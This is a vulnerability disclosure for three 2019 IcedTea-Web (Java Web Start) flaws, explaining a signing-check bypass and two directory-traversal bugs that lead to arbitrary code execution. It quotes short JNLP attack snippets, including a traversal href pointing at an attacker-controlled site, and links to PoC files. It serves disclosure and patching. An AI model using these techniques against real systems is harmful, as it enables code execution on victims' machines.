IcedTeaWeb is an open source implementation of JSR-56 that is better known as Java Web Start. It is currently maintained by RedHat and is included into the Windows packages of OpenJDK by default.
"Three security issues were found in ITW, and have been discussed and are going to be fixed. Those are CVE-2019-10185 CVE-2019-10181 CVE-2019-10182" The vulnerabilities described below could be exploited by man in the middle attackers or parties having write permission on where the jnlp files were hosted. The affected versions are 1.7.2 and below, 1.8.2 and below. 1.6 is also vulnerable and not patched due to being EOL. Some additional info and PoC files can be found here: https://github.com/irsl/icedtea-web-vulnerabilities CVE-2019-10181: In line with the requirements, IcedTea-Web forces presence of signatures on webstart projects by default. However, the implementation considers jar archives fully signed even when unsigned class files are residing in the META-INF folder. An MitM attacker could inject extra code to the jar archive and get it invoked by specifying it via the main-class attribute of application-desc: <application-desc main-class="META-INF.Test" /> The dash is not among the allowed characters in Java identifiers, so a class with this package name cannot be produced via a legit compiler, but the bytecode verifier accepts crafted class files with dash in the package name happily. The code would be executed in the Java sandbox. CVE-2019-10182: Processing of the href attribute of the jar node was vulnerable to directory traversal. <jar href="http://attacker-controlled-site/../../../../../XXX.any" version="2.0"/> Considering the line above, the file XXX.any is saved out of the cache directory, overwriting the destination if it already exists. This is effectively an (over)write-what-where primitive on the filesystem, which could be used to execute arbitrary code (eg. via placing a batch file in the startup folder). This was exploitable on Windows only, where the operating system normalizes the paths before traversing them. CVE-2019-10185: IcedTea-Web features extracting nested jar files from the primary ones. The nested jar auto-extraction feature is vulnerable to directory traversal. Combining this with CVE-2019-10181 and crafting jar files with META-INF/../../../whatever.jar pattern in their zip entries, they don't need to be signed and are followed and extracted outside of the cache directory, leading to arbitrary code execution again. As an alternative approach, I found it was also possible to overwrite the main jar itself, so later on when it was actually executed, the framework launched external, unsigned arbitrary code with full privileges. References: https://github.com/AdoptOpenJDK/IcedTea-Web https://icedtea.classpath.org/wiki/IcedTea-Web https://github.com/AdoptOpenJDK/IcedTea-Web/issues/327 https://access.redhat.com/errata/RHSA-2019:2003 https://github.com/irsl/icedtea-web-vulnerabilities